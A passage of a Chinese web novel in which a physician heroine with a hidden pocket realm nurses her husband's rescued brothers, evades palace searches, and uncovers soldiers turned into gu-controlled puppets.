“公主从小就是个**工具罢了。”芳儿眼中闪过一丝悲凉,声音里满是苦涩,“为了巩固江山,谁在乎她的死活?在那些人眼里,她不过是一枚棋子罢了。” “那贵妃呢?”宁芷薇不死心地问。 “贵妃?”芳儿冷笑,“她眼里只有昭王,哪里还记得这个继女。当初公主病重,她连看都没来看一眼。” 宁芷薇沉默了。她在秦家生活太久,几乎忘了皇家的冷酷无情。在这个尔虞我诈的皇宫里,亲情不过是个笑话。 房间里安静得可怕,连呼吸声都清晰可闻。 过了许久,宁芷薇才开口:“即便现在的皇帝不管,将来的新皇帝呢?” 这句话让芳儿愣住了。她抬起头,眼中闪过一丝希望的光芒。 是啊,崇王一直对公主很好。每次公主病重,都是他派人送来最好的药材。如果他登基...也许还有希望。 看到芳儿眼中重新燃起光芒,宁芷薇继续道:“君子报仇, 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芳儿和珊儿应了一声,乖乖坐回床上。但她们的目光始终落在昏迷的秦修远和秦昭玄身上,眼中带着担忧。 宁芷薇知道她们在想什么,解释道:“他们只是受了些内伤,休养几日就好。” 两人这才松了口气。 秦远霄站在床边,目光担忧地看着昏迷的两人。他还带着易容的装扮,浓密的假胡子让他看起来像个四十多岁的中年人。 “先治七老吧。”宁芷薇从药箱中取出银针,“他的情况稍好一些。” 她仔细检查了七老的脉象,开始施针。每一根银针都要精确地刺入穴位,稍有偏差就可能前功尽弃。 房间里安静得能听见银针入肉的细微声响。宁芷薇的额头渗出细密的汗珠,全神贯注地控制着每一分力道。 约莫一炷香的时间过去,七老的眼皮开始轻颤。 “七哥!”秦远霄激动地唤道,声音里带着几分颤抖。 第一百四十六章 床上的人缓缓睁开眼,目光有些涣散。当他看清眼前的“陌生人”时,眼中闪过一丝冷意。 “东陲人...”他的声音沙哑而虚弱,带着几分讥讽,“倒是会找人冒充我九弟。” 秦远霄这才想起自己的装扮,连忙撕下假胡子,用湿巾擦拭脸上的妆容。宁芷薇适时地举起油灯,让光线照亮他的脸。 “七哥,是我,远霄。” 秦昭玄眨了眨眼,似乎在确认眼前人的身份。他的目光渐渐聚焦,终于认出了自己的九弟。 “九弟...”他想要坐起来,却发现自己浑身无力。 “七哥别动。”秦远霄连忙扶住他,“你刚醒过来,身子还很虚弱。” 宁芷薇端来一碗温热的药汤:“七老,先把药喝了。” 秦昭玄打量着这个陌生的女子,眼中带着询问。 “七哥,这是我家那口子,宁大人家的千金。”秦远霄介绍道。 “媳妇儿?”秦昭玄露出困惑的表情,“你不是还没成亲吗?” 房间里一时安静下来。秦远霄和宁芷薇对视一眼,都从对方眼中看到了一丝心疼。 “七哥,你...已经昏迷三年多了。”秦远霄轻声说道。 他将这些年发生的事慢慢讲述,包括七哥被下魇魂蛊、失去意识的经过。说到动情处,声音也有些哽咽。 秦昭玄静静地听着,目光不时飘向另一张床上昏迷的四哥。他的手指微微颤抖,眼中闪过复杂的情绪。 “三年...”他喃喃自语,“整整三年...” 他抬起自己枯瘦如柴的手臂,苦笑道:“难怪我感觉浑身无力。” 宁芷薇见他情绪低落,温声安慰:“七哥别担心,我一定会治好你的。等你身子好些了,我再帮你调养。” “多谢九弟妹。”秦昭玄勉强扯出一个笑容,“倒是让你们费心了。” “七哥说这话就见外了,”秦远霄握住他的手,“我们是一家人。” 宁芷薇看着两兄弟重逢的场面,心中也是感慨万千。她悄悄退到一旁,开始准备接下来的治疗方案。 外面的天色渐亮,晨光透过窗户洒进来,给房间增添了几分暖意。新的一天开始了,而这个家,终于等来了久违的团圆。 宁芷薇站在门口,望着床上的两个男人,心头涌上一阵难言的酸楚。 一个是她的四哥,一个是七哥,都是被折磨得不成人形。四哥秦修远浑身是伤,脸色苍白如纸;七哥秦昭玄虽然伤势稍轻,但也瘦得只剩下皮包骨。 房间里弥漫着浓重的药味,混合着血腥气,让人喘不过气来。窗外的阳光透过纱帘洒进来,在地上投下斑驳的光影,衬得室内更显阴郁。 她轻轻叹了口气,迈步走进房间。木地板发出细微的吱呀声,打破了屋内的沉寂。 秦昭玄听到脚步声,从自己的思绪中回过神来。他抬起头,眼神中带着几分迷茫,但很快就认出了来人。虽然心情低落,但多年的教养让他还是朝宁芷薇点了点头,声音沙哑:“九弟妹,辛苦你了。” “七哥不必客气。”宁芷薇来到床边,仔细观察着两人的状况。她的目光在秦昭玄身上停留片刻,轻声道:“你和四哥的伤,我都能治好。” 秦昭玄眼中闪过一丝希望的光芒。他虽然不知道这个九弟妹有什么本事,但既然九弟说她能解除魇魂蛊,想必医术不凡。只是看着床里侧昏迷不醒的四哥,他心里又沉重起来。 就在这时,床里侧的秦修远突然动了动。他微微皱眉,似乎感觉到了身边有人,艰难地转过头来。 “四哥!”秦远霄立刻凑近,声音中带着欣喜,“我们把七哥救回来了。” 秦修远努力撑起身子,目光有些涣散地看向身边。阳光照在他消瘦的脸上,更显得他面容憔悴。 “四哥,是我。”秦昭玄声音哽咽,眼眶瞬间红了。他伸出手想去扶四哥,却又怕碰到他的伤处,手在半空中停顿了一下,最终轻轻落在秦修远的肩上。 两个受尽折磨的男人四目相对,空气仿佛凝固了。秦昭玄眼中泪水在打转,在他心里,他以为四哥早就战**。如今能再见,简直是上天垂怜。 “七弟...”秦修远艰难地开口,声音虚弱得几乎听不见。他想说些什么,却又说不出话来,只能用力握住秦昭玄的手。 “四哥、七哥,你们能活着重聚,都是薇薇的功劳。”秦远霄看着站在一旁的妻子,眼中满是骄傲,“要不是她,我早就死在明德帝的杖下了。她不仅 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就在这时,明子从灶房出来,比划着已经生好火了。他虽然不会说话,但做事麻利,早就把灶台收拾得干干净净。 宁芷薇点点头:“我来做饭吧。” 哥俩的身子骨不太好,需要营养均衡又易消化的食物。她得亲自下厨,确保每一道菜都适合病人食用。 芳儿珊儿想跟着帮忙,被宁芷薇婉拒了:“你们去照顾老爷们吧,厨房里有我和明子就够了。” 她在灶房里忙活了一个时辰,煮了一锅浓郁的人参乌鸡汤,炒了一盘嫩滑的熘肝尖,又熬了一锅滋补的海参粥。香气四溢,连院子里都能闻到。 端着饭菜进房间时,就见秦远霄正耐心地喂两位兄长。他动作轻柔,生怕碰到他们的伤处,脸上带着心疼的神色。 秦昭玄显得有些局促。他又饿又馋,但又不好意思在九弟妹面前狼吞虎咽,只能红着脸慢慢吃完。看着他这副模样,宁芷薇心中一阵酸楚,连忙转过身去整理药材,给他们留些私人界阙。 等他们吃完,她又给两人把脉。秦修远的脉象虚弱,但比之前已经稳定了许多;秦昭玄的情况则好得多,只是需要调养。 第一百四十七章 “四哥半个月后就能做手术了。”她收回手,语气笃定,“七哥只是虚弱,慢慢调养就好。等你们都恢复了,我再教你们一些防身的功夫。” 秦远霄眼睛一亮。他相信,有薇薇在,兄长们一定能恢复如初。看着她忙前忙后的身影,他心中满是感激和爱意。 夜幕降临,院子里亮起了灯笼。宁芷薇让人给两位兄长换上干净的寝衣,又仔细检查了他们的伤口。 “今晚我守夜。”她对秦远霄说,“你去休息吧,这些天你也累坏了。” 秦远霄摇摇头:“我陪你。” 宁芷薇知道劝不动他,也就不再多说。两人坐在床边的椅子上,静静地看着熟睡的两位兄长。 月光从窗外洒进来,给房间蒙上一层柔和的银辉。宁芷薇握着秦远霄的手,轻声说:“放心吧,他们会好起来的。” 秦远霄紧了紧手,没有说话,但眼中的担忧少了几分。他知道,有薇薇在,一切都会好起来的。 翌日,四哥挣扎着想要撑起身子,手臂微微颤抖,额头渗出细密的汗珠。他的脸色依然苍白,但眼神中透着一丝坚韧。 “七弟,你看...”他的声音虽然虚弱,却带着几分欣慰,“九弟妹的医术当真了得。前几日我还像一滩烂泥,如今竟能坐起来与你说话了。” 七哥站在床边,目光在四哥身上停留许久。窗外的阳光透过纱帘洒进来,照在四哥消瘦的脸上,更显得他面容憔悴。但那双眼睛里闪烁的光芒,却让七哥看到了希望。 “确实好转得很快。”七哥轻声说道,伸手扶住四哥摇晃的身子,“只是你现在还很虚弱,别太勉强。” 秦远霄站在一旁,看着两位兄长的互动,心中涌起一股暖意。他们从塞北千里迢迢赶来,所经历的苦难远非常人能想象。如今看到他们逐渐康复,那种欣慰之情难以言表。 “待你们身子养好了,回到塞北见到家人时,定能让她们惊喜万分。”秦远霄说着,眼角余光却注意到两位兄长的眼皮开始打架。 这也难怪,方才注射过镇定剂,加上身子本就虚弱,能坚持到现在已是极限。四哥的手臂微微发抖,额头的汗珠更密了,显然是强撑着不愿躺下。 “两位兄长先歇息吧。”宁芷薇适时开口,声音轻柔,“我让明子在外守着,有什么事随时唤他。” 七哥点点头,扶着四哥缓缓躺下。四哥似乎还想说什么,但眼皮已经抬不起来,很快就陷入沉睡。七哥看了看熟睡的四哥,自己也躺回床上,没一会儿就传来均匀的呼吸声。 待安顿好两位兄长,夫妻二人来到后院僻静处。这里种着几株芷兰树,花香淡淡的,带着几分宁静祥和。确认四周无人后,两人闪身进了界阙。 秦远霄一进界阙就将宁芷薇揽入怀中,鼻尖轻轻蹭着她的发丝:“薇薇还在生气?” 宁芷薇轻哼一声,却没有挣开他的怀抱:“我有那么小气吗?” “在太子府的事,我心里只有你。”秦远霄收紧手臂,语气认真,“那些莺莺燕燕,在我眼里不过是浮云。” “知道了知道了。”宁芷薇拍拍他的手,语气中带着几分无奈,“不过话说在前头,我这人眼里容不得沙子。” 她停顿片刻,似乎在斟酌措辞:“若有朝一日...” “打住!”秦远霄连忙打断她的话,生怕她说出什么不吉利的话来,“我秦远霄此生非你不娶,若有二心...” 话未说完,宁芷薇已经用手捂住了他的嘴:“好了,我信你。” 正当两人温存之际,墨圆儿突然从远处跑来,朝牧场方向不停叫唤。它圆滚滚的身子在草地上打滚,时不时抬头看向两人,一副着急的模样。 宁芷薇这才想起来查看奶牛的情况,快步走向牧场。果然,几头奶牛都已经产仔,小牛犊正在母牛身边蹒跚学步。这可是好事,两位兄长正需要补充营养。 她立刻开始挤奶,动作熟练而轻柔。新鲜的牛奶散发着浓郁的香气,很快就装满了一大桶。将牛奶煮熟后,两人带着热气腾腾的木桶出现在后院。 芳儿珊儿正在打扫院子,见到两人突然出现,连忙放下手中的活计上前。 “九爷九夫人辛苦了。”芳儿脸上带着歉意,“让你们去外头住驿馆,实在是...” “无妨。”宁芷薇摆摆手,将木桶递给她们,“给两位爷送去,你们也都喝些。这可是刚挤的新鲜牛奶,补身子最好不过。” 两个丫鬟闻到浓郁的奶香,又惊又喜。这年头能喝上牛奶的人可不多见,没想到九夫人如此大方。她们小心翼翼地接过木桶,生怕洒出一滴。 宁芷薇可没工夫管她们怎么想,转身去准备早膳。两位兄长身子虚弱,营养必须跟上。再过些日子就要启程回塞北,一路上马车颠簸,若是身子骨不结实些怕是吃不消。 她在厨房忙活时,脑子里已经开始盘算着该准备些什么药材。虽说界阙里储备充足,但还是要未雨绸缪。正想着,秦远霄突然从后面环住她的腰。 “想什么呢?这么出神。”他的下巴轻轻搁在她肩上。 宁芷薇手上动作不停:“在想两位兄长的事。这一路上要准备的东西太多了,光是药材就得...” “有我在。”秦远霄打断她的话,“你只管照顾好他们的身体,其他的事我来安排。” 此时,东陲皇宫大殿上却是另一番景象。 皇嗣伫立宫殿之内,面色铁青,声音中带着压抑的怒火:“父皇,儿臣太子府被洗劫一空,连个人影都没留下!那些府中侍卫全都昏迷不醒,醒来后更是什么都不记得了!” 文武百官闻言一片哗然。太子平日荒唐,说出这种话难免让人生疑。但看圣上凝重的神情,似乎事情当真不简单。 “陛下!”一名大臣站出来,声音洪亮,“太子府遭此变故,必定是有人蓄意为之。此事关系重大,还请陛下明察!” “住口!”圣上猛地拍案而起,目光如电扫过群臣,“此事朕自有定夺,尔等不必多言。” 就在这时,一名小太监慌慌张张地跑进大殿:“陛下!塞北急报!” 殿中气氛骤然凝固,所有人的目光都集中在那卷急报上。圣上接过急报,展开一看,脸色瞬间变得极为难看。 “退朝!”他沉声道,声音中带着不容置疑的威严。 群臣面面相觑,却不敢多问,只得鱼贯而出。太子站在原地没动,眼中闪过一丝异色。 “父皇...” “你也退下。”圣上挥挥手,目光始终停留在那份急报上。 第一百四十八章 太子咬了咬牙,最终还是躬身退出大殿。他站在殿外,望着阴沉的天空,眼中闪过一抹阴霾。 与此同时,宁芷薇正在给两位兄长把脉。她的眉头微皱,手指在脉门上停留许久。 “怎么样?”秦远霄在一旁轻声问道。 宁芷薇收回手,轻轻摇头:“虽然比之前好了很多,但要完全恢复还需要时日。” 她看着熟睡的两位兄长,心中暗自盘算。这段时间的调养确实见效,但想要他们能承受长途跋涉的颠簸,还需要加强药效。 “时间不多了。”秦远霄低声道,“塞北那边怕是...” 宁芷薇抬手制止了他的话:“我知道。你放心,我一定会在出发前让他们恢复到最佳状态。” 秦远霄看着她认真的侧脸,心中涌起一股暖流。自从两位兄长来到,她几乎把所有精力都用在照料他们上。每天熬药、把脉、调理,从不喊累。 夜色渐深,院子里一片寂静。只有偶尔传来的虫鸣声,打破这份宁静。宁芷薇站在窗前,望着天上的月亮,心中思绪万千。 明天又是新的一天,她得继续为两位兄长调理身体。时间紧迫,但她相信,只要用心,一定能让他们平安回到塞北。 塞北守将的密报来得太迟了。 若是让秦远霄知道这个消息,他定会觉得可笑。守将为了避免圣上怪罪,一开始只是派人暗中搜寻闯入者的踪迹,生怕走漏风声引起朝廷震动。 可惜大批人马翻遍了塞北,却连一片衣角都没找到。守将这才意识到事态严重,那两个神出鬼没的人极可能已经混入都城。若再瞒下去,一旦出了乱子,他的脑袋就要搬家了。 无奈之下,他只得派人快马加鞭送信进宫。 消息传到皇宫时,正值早朝。蜀陲皇帝坐在龙椅上,听着大臣们争论不休。殿内烛火摇曳,映照着众人紧绷的面容。 “父皇!”太子猛地站起身,声音中带着掩饰不住的焦躁,“一定是永安的奸细!他们潜入东陲,就是为了偷盗儿臣府中的宝物!” 他的声音在大殿中回荡,惊得殿角的宫女们低下了头。太子双手紧握,指节泛白,眼中闪烁着愤怒的火光。 蜀陲皇帝眉头紧锁,目光如刀般扫向太子:“塞北来报,只见到两个人影。两个人就能将你府中库房搬空?”话语中带着明显的质疑。 殿内一片寂静,只有檐下风铃偶尔发出清脆的响声。 “陛下说得对。”一名大臣打破沉默,小心翼翼地开口,“太子府戒备森严,就算是神仙也不可能在一夜之间将整个库房搬空。” “你是在质疑本太子?”太子猛地转身,目光凌厉地盯着那名大臣,声音中带着浓浓的威胁。 大臣额头渗出冷汗,连忙跪地:“微臣不敢。” “哼,本太子看你是活得不耐烦了!”太子冷笑一声,眼中闪过一丝狠戾。 “够了!”蜀陲皇帝重重一拍龙案,震得茶盏都跳了起来,“都给孤闭嘴!” 朝堂瞬间鸦雀无声。阳光透过窗棂洒进大殿,在地上投下斑驳的光影。 皇帝揉了揉太阳穴,挥手宣布退朝。他急匆匆地离开大殿,径直走向自己的密室。宫人们看着他匆忙的背影,不敢出声。 太子站在原地,脸色阴沉如墨。他诉苦了半天,父皇除了派人继续搜查,根本没给出任何实质性的解决方案。 回到府中,一名管事小心翼翼地上前:“太子殿下,关于四公主的后事...” 太子这才想起来还有这么一桩事。虽然他向来看不上这个永安来的和亲公主,但体面还是要做足的。 “按照规制办,该怎么办就怎么办。”他不耐烦地挥了挥手,目光落在窗外的梅树上。 忽然,太子眼中闪过一丝精光:“对了,四公主身边的两个婢女呢?怎么一直不见她们?” 下人们面面相觑,空气中弥漫着一丝紧张。 “回禀太子,”一个年长的嬷嬷低声道,“自从四公主...出事后,就再也没见过芳儿和珊儿两位姑娘。” “有意思。”太子冷笑一声,眼中闪过一丝算计,“立刻派人去找这两个婢女!本太子怀疑,就是她们偷了库房的东西!” 与此同时,东陲皇宫的密室中。 昏暗的烛光下,檀香缭绕。蜀陲皇帝站在软塌前,语气中带着几分恳求:“先生,这次无论如何,您都要帮我。” 塌上斜倚着一个戴墨色围帽、着女装的男子。他手中把玩着一串檀木佛珠,连正眼都没给皇帝一个,语气懒散:“什么事让堂堂皇帝这般着急?” 蜀陲皇帝带来的消息让沧澜先生眉头紧锁。他靠在软榻上,手指有一下没一下地敲击着扶手,眼神逐渐深邃。 窗外暮色渐沉,远处传来几声沉闷的雷鸣。沧澜先生抬眼望向窗外阴沉的天色,嘴角勾起一抹意味深长的笑意。 “太子府被洗劫一空......”他低声呢喃,“手法与前几日如出一辙。” 他将最近发生的几件大案串联起来:永安国库被盗、某县令府邸失窃,再到昨夜沧澜山庄的变故。所有的线索似乎都指向一个人——秦远霄。 可是,这些案子的手法太过高明。即便是秦远霄,也不可能在重伤之后就有这般能耐。 更让他在意的是,昨夜山庄留下的那对脚印。男子的或许是秦远霄,但那个女子又会是谁? 沧澜先生眯起眼睛,他感觉自己似乎触碰到了什么重要的线索,却又抓不住。烛光在他脸上投下摇曳的阴影,让人看不清他的表情。 自从来东陲养伤,坏消息就没断过。先是爱徒风渠失踪,随后被风渠掌控的秦星河也不知所踪。这一桩桩一件件,都让他心头笼罩着一层挥之不去的阴霾。 房内烛火摇曳,在墙上投下忽明忽暗的影子。沧澜先生的目光落在跳动的火焰上,陷入沉思。 若风渠已死,倒也无需太过忧心。母蛊在风渠手中,秦星河的命运也就注定。不过是比秦家其他人早些下去陪澜儿罢了。 真正令他头疼的是秦家老五和秦远霄。 第一百四十九章 沧澜先生眯起眼睛,手指停下了敲击的动作。若这次在东陲兴风作浪的真是秦远霄,他定要让这小子有来无回。 “陛下可知道,”他慢条斯理地开口,“四公主身边的两个婢女去了哪里?” 皇帝一愣:“芳儿和珊儿?她们...” “有意思。”沧澜先生轻笑一声,“陛下不觉得,四公主的死,太过蹊跷了吗?” 皇帝脸色一变:“先生的意思是...” “我建议陛下先查查四公主的死因。”沧澜先生站起身,整了整衣袖,“至于那两个闯入者,或许很快就会有消息了。” 他的声音带着几分玩味,仿佛已经看穿了什么。 皇帝还想再问,但沧澜先生已经转身离开。只留下一句话在密室中回荡:“有些真相,还是不知道为好。” “此事就交由我来处理吧。”沧澜先生淡淡开口,语气中带着不容置疑。 蜀陲皇帝如释重负地松了口气:“就麻烦您费心了。”说完,便躬身退了出去。 待脚步声渐远,沧澜先生缓缓起身,面色阴晴不定。看来,是时候动用那张底牌了。他转身走向密室的方向,身影很快消失在昏暗中。 夜幕降临,皇城内外灯火通明。 太子府中,一队队侍卫正在搜寻两个婢女的踪迹。太子坐在书房中,面前摆着一份密报。 “查到了吗?”他抬头问道。 “回禀太子,”一个黑衣人从阴影中走出,“属下发现了一些线索。那两个婢女,似乎和永安的一个人有关系。” 太子眼中闪过一丝兴奋:“说下去。” “那人叫秦远霄。” 太子猛地站起身,打翻了桌上的茶盏。热茶溅在密报上,晕开了墨迹。 “找!给本太子继续找!”他咬牙切齿地说,“一定要找到那两个婢女!” 夜风吹过,吹散了空气中的茶香。太子站在窗前,目光阴沉。他隐约感觉到,一场暴风雨即将来临。 与此同时,都城一处普通院落内。 宁芷薇正专注地为两位兄长施针疗伤。她的动作轻柔而精准,银针刺入昏睡穴位时,连呼吸都放得极轻。 “这次的伤势比想象中要严重。”她眉头微蹙,手上动作不停。 为他们输了一次血浆,又注射了蛋白类药物后,宁芷薇才稍稍松了口气。她擦了擦额头的细汗,静静等待药效发作。 一个时辰后,两人终于有了转醒的迹象。 秦修远率先睁开眼睛,虚弱地笑道:“九弟妹的药膳当真神奇。” “是啊,”秦昭玄也跟着附和,“休息一觉,竟觉得浑身有力。” 宁芷薇抿唇一笑,并未多作解释。她转头看向窗外,眼中闪过一丝忧虑。太子府昨夜发生的事,必定会在都城掀起轩然大波。 “远霄,”她转向一旁的秦远霄,“我们得出去看看情况。” 七哥被救走的事不会轻易结束,更何况太子必定已经在朝堂上提及此事。虽说昨夜侥幸躲过一劫,但现在更不能掉以轻心。 “若官兵再来搜查,家中这些人怎么办?”宁芷薇语气中带着几分担忧。 经过一番商议,最终决定由秦远霄一人出门打探,宁芷薇则留守照看众人。若有意外,她随时可将人带入界阙躲避。 果不其然,秦远霄离开没多久,院外便传来嘈杂声响。这次的搜查比昨夜更加严密。 “大人,四公主身死,她的两个贴身婢女芳儿和珊儿同时失踪,这可不是小事。”外面传来官兵的声音。 “仔细搜,一个角落都不要放过!” 听到脚步声渐近,芳儿和珊儿对视一眼,眼中满是决然。 “九夫人,我们还是自首吧,不能连累您。”两个丫头手拉着手就要往外走。 “站住!”宁芷薇厉声喝止。 白色粉末在空气中弥漫,两个丫鬟瞬间失去意识。宁芷薇动作迅速,立刻将她们送入界阙,又手刀劈晕明子,一并带了进去。 房内,两位兄长也听到了外面的动静。 “九弟妹,你快走!”秦修远急切道。 “别管我们,你先躲起来。”秦昭玄也跟着劝道。 宁芷薇来不及多言,洒出最后一包迷药,将两人带入界阙。 界阙内,墨圆儿立刻蹦跳着迎上来,宁芷薇摸摸它的脑袋,紧绷的神经稍稍放松。她趁着众人昏睡,仔细检查了两位兄长的身体状况。 四哥心脏指标恢复良好,半月后便可手术。七哥虽仍虚弱,但也在慢慢好转。这让她悬着的心稍稍放下。 等外面动静平息,宁芷薇才带着众人回到房间。此时秦远霄也适时归来,脸色有些凝重。 “外面全是士兵,王府丢东西的消息已经炸锅了。蜀陲皇帝还在继续增派人手搜查。”他低声说道,“现在整个都城都戒严了。” 宁芷薇轻笑:“有界阙在,就算翻遍都城也找不到我们。” 话虽如此,她也不敢大意。眼下的形势比预想中更加严峻。 “今晚进宫怕是有些困难。”她皱眉思索着。 若不是答应了古玩鉴赏家寻找黑色东珠,她都想立刻离开东陲。但既然承诺过,就一定要去皇宫走一趟。 第一百五十章 天色渐暗,大风过后,暴雨倾盆而下。雨点打在窗棂上发出噼啪声响,仿佛在为这紧张的气氛添砖加瓦。 宁芷薇站在窗前,望着雨幕中模糊的街景,眼神逐渐坚定。她知道,这场暴风雨过后,等待他们的将是更大的挑战。 雨夜里,宁芷薇和秦远霄在东陲都城的街道上快步前行。 雨水打在脸上生疼,但这场大雨反倒成了他们的掩护。冰凉的雨丝不断渗入衣衫,宁芷薇能感觉到身边秦远霄的呼吸略显急促,显然这样的天气对他来说并不好受。 街上巡逻的官兵虽多,但东陲人向来不喜欢遮雨,所以他们这样顶着雨跑也不显得突兀。远处隐约传来更换岗哨的号角声,沉闷的声响在雨幕中显得格外压抑。 宁芷薇抹了把脸上的雨水,跟着秦远霄在街道间穿行。她注意到那些巡逻的士兵都懒洋洋的,有的甚至靠在屋檐下打盹,显然这场大雨让他们提不起精神仔细盘查。 秦远霄突然停下脚步,拉着宁芷薇躲进一处阴暗的角落。“前面有暗哨,”他压低声音,“等他们换岗时我们再过去。” 宁芷薇点头,借着这个机会调整呼吸。雨水顺着发丝滑落,她能感觉到心跳正在加快。虽说已经来过东陲皇宫,但这次的情况显然更加危险。 远处的脚步声渐渐远去,秦远霄探出头观察了一下情况。“快到了,”他指了指前方若隐若现的宫墙轮廓,“我们得抓紧时间。” 两人继续向前,雨势渐大,豆大的雨点砸在地上发出密集的声响。街道两旁的店铺早已关门,只有零星几盏灯笼在风雨中摇曳,投下忽明忽暗的光影。 “西面守卫最少,我们从那边翻进去。”秦远霄拉着她转向一条小巷。巷子很窄,两侧墙壁上爬满了青苔,散发着潮湿的气息。 就在这时,一阵整齐的脚步声从前方传来。声音很特别,像是几十个人完全同步的步伐,在雨夜中显得格外诡异。 秦远霄眼疾手快,一把抱起宁芷薇跃上旁边的大树。粗糙的树皮刮蹭着手掌,但两人都顾不上这些。宁芷薇下意识地屏住呼吸,目光落在下方出现的队伍上。 那是一支奇怪的队伍。 为首的是一名骑马的将领,身后跟着约莫三十名士兵。所有人都戴着月牙形的半脸面具,面具在雨中泛着冷光。他们的动作整齐得不像话,每一步都仿佛经过精确计算,连带起的水花都一模一样。 宁芷薇皱起眉头。作为前世的军人,她很清楚,就算是训练有素的现代军队,也不可能做到如此同步的动作。这种近乎机械的协调性,完全超出了人类的能力范围。 更诡异的是,这些士兵手持长刀,刀尖笔直向前,无论如何奔跑都纹丝不动。雨水打在刀刃上,发出细微的声响,却没有一个人做出任何多余的动作。 “他们...不对劲。”宁芷薇小声说道,她能感觉到秦远霄的身体也绷紧了。 秦远霄没有回答,他的目光死死盯着那名骑马将领手中的一对铜锤。那铜锤通体呈青铜色,表面刻着繁复的纹路,在雨中闪烁着诡异的光芒。 “远霄,你在想什么?”宁芷薇察觉到他的异样,轻轻碰了碰他的手臂。 “那对铜锤...”秦远霄声音有些发紧,手指不自觉地收紧,“和我六哥用的很像,只是更大一些。”他的声音里带着一丝难以察觉的颤抖。 宁芷薇仔细观察着那支队伍。她注意到这些人胸膛没有呼吸起伏,就像一具具行走的尸体。雨水打在他们身上,却没有任何反应,仿佛感觉不到寒冷似的。 “要跟上去看看吗?”她轻声问道。虽然担心四哥和七哥的安危,但她也明白秦远霄此刻的心情。那对铜锤的出现显然不是巧合。 秦远霄沉默片刻,目光中闪过复杂的情绪。最终,他轻轻点了点头:“去看看。” 两人悄悄跟在队伍后面。那支队伍一路向城门方向行进,所过之处,守卫竟被那将领一锤毙命。更令人心惊的是,那些被击杀的守卫没有发出任何声音,仿佛早已被某种力量封住了喉咙。 出城后,队伍继续在官道上前进。即便听到后方脚步声,他们也毫无反应,就像被设定好程序的机器一般按部就班地行进。 雨势渐小,月光透过云层洒下,将地面染上一层惨白。宁芷薇注意到这些士兵的影子很奇怪,似乎比正常人的要淡很多。 “薇薇,你说他们是不是中了魇魂蛊?”秦远霄压低声音问道,眼中闪过一丝担忧。 宁芷薇摇头:“不像。魇魂蛊最多能控制二十人,而且不可能做到如此同步的动作。这些人...更像是某种更可怕的存在。”她停顿了一下,“而且魇魂蛊控制的人还会保留一些本能反应,但这些人完全像是没有生命的傀儡。” 就在这时,那骑马的将领突然有了新的动作。他缓缓举起手中的铜锤,月光下能看到锤面上的符文开始发出微弱的光芒。 所有士兵同时停下脚步,整齐划一地转身,面具后的眼睛泛着诡异的红光。宁芷薇和秦远霄迅速躲到路边的灌木丛中,屏住呼吸观察着事态的发展。 将领手中的铜锤突然发出一声闷响,紧接着,那些士兵的身体开始发生变化。他们的皮肤变得灰白,关节处出现了类似机械的纹路,就连动作也变得更加僵硬。 “这不是蛊术,”宁芷薇低声说道,“更像是某种古老的禁术。”她想起在军队时看过的一些古籍记载,里面提到过类似的邪术,能够将活人炼制成没有意识的傀儡战士。 秦远霄的表情变得凝重:“六哥的铜锤...难道也...”他没有说完,但宁芷薇明白他的担忧。如果六哥的武器也被用来制作这种可怕的傀儡,那么他的处境恐怕十分危险。 宁芷薇从界阙中取出一把狙击枪,熟练地调整着瞄准镜。雨水模糊了视线,但她的手很稳,没有丝毫颤抖。 就在她即将扣动扳机的瞬间,秦远霄突然按住了她的手:“等等,用麻醉枪。活口能告诉我们更多信息。” 她迅速换了武器,重新瞄准。雨水不断打在瞄准镜上,但这对经验丰富的宁芷薇来说并不是什么大问题。 “砰!” 一声轻响,麻醉针准确命中领头骑士的后颈。那人身体晃动了几下,随即重重地摔在泥泞的地面上。 令人惊讶的是,其他黑衣人并没有任何反应。他们就那样呆立在原地,连马匹都停止了移动,仿佛失去了所有的生机。 “果然如此。”宁芷薇轻声说道,眼中闪过一丝惊讶,“他们真的是被控制的。” 第一百五十一章 两人小心翼翼地靠近,宁芷薇伸手探向一名黑衣人的颈部。她能感受到对方的脉搏,但节奏异常缓慢。 “夫君,他们还活着,但状态很不对劲。像是被什么东西困住了意识。” 秦远霄蹲下身,掀开领头人的面具。下一刻,他整个人如遭雷击,身体瞬间僵直。 “六哥?!”他的声音里带着难以置信的震惊。 宁芷薇心头一震,快步上前。面具下确实是秦家六郎秦徒扬的面容,但他的脸色呈现出不正常的苍白,眼睛紧闭,像是陷入了深度昏迷。 更令人不安的是,六哥的状态看起来竟比其他获救的兄弟还要好。这完全不符合常理。 “先带他们进界阙。”宁芷薇当机立断,“这里不是说话的地方。” 手术室内,宁芷薇仔细检查着秦徒扬的身体。各项生命体征都很稳定,但就是无法唤醒。经过详细检查,她终于发现了问题所在。 “是魇魂蛊,但这只蛊虫有些特别。”她小心翼翼地将取出的蛊虫放在特制的玻璃瓶中。 那只虫子呈现出诡异的青紫色,不停地撞击着瓶壁,发出细微的“叮叮”声。它的体表覆盖着一层奇异的粉末,在灯光下泛着金属般的光泽。 秦远霄凑近观察,眉头紧锁:“这颜色,像是中毒了。而且这蛊虫的形态,我从未见过。” “没错。”宁芷薇若有所思地看着玻璃瓶,“而且外面那些人......”她突然想到了什么,“我想,他们应该就是传说中的药人。” “药人?”秦远霄神色一凛,“那不是已经失传几百年了吗?据说是一种极其残忍的控制之术。” 宁芷薇点头:“看来有人不仅掌握了这个秘术,还将它与蛊术结合在了一起。这种做法太过歹毒,完全泯灭了人性。” 她迅速离开界阙,将外面的三十名黑衣人也带了进来。这些人就像是没有灵魂的躯壳,任由摆布,眼神空洞得令人心悸。 宁芷薇一边给他们做检查,一边记录数据。每个人体内都有相同的蛊虫,但都比秦徒扬体内的要小得多。 “这些蛊虫像是分支,而六哥体内的那只是主体。”她一边分析一边说道,“通过这种方式,就能控制所有人的行动。” 秦远霄站在秦徒扬的病床前,握紧了拳头:“到底是什么人,竟敢对六哥下此毒手?” 宁芷薇看着满屋子的“药人”,心中涌起一阵寒意。这些人生前都是有血有肉的个体,却被人残忍地剥夺了自我意识,变成了任人摆布的工具。 她走到秦远霄身边,轻轻握住他的手:“别担心,我一定会找到解救他们的方法。” 雨还在下,敲打着界阙的屏障。宁芷薇看着手中的数据,陷入了沉思。蛊虫和药人的结合,这背后一定另有隐情。而六哥又是怎么落入对方手中的?这些谜团像是一团乱麻,等待着她去解开。 但有一点可以确定,能够将这两种古老的邪术结合在一起的人,绝不简单。他们正在面对的,或许是一个庞大的阴谋。 六哥昏迷不醒,宁芷薇和秦远霄决定趁这个机会查看药人的情况。 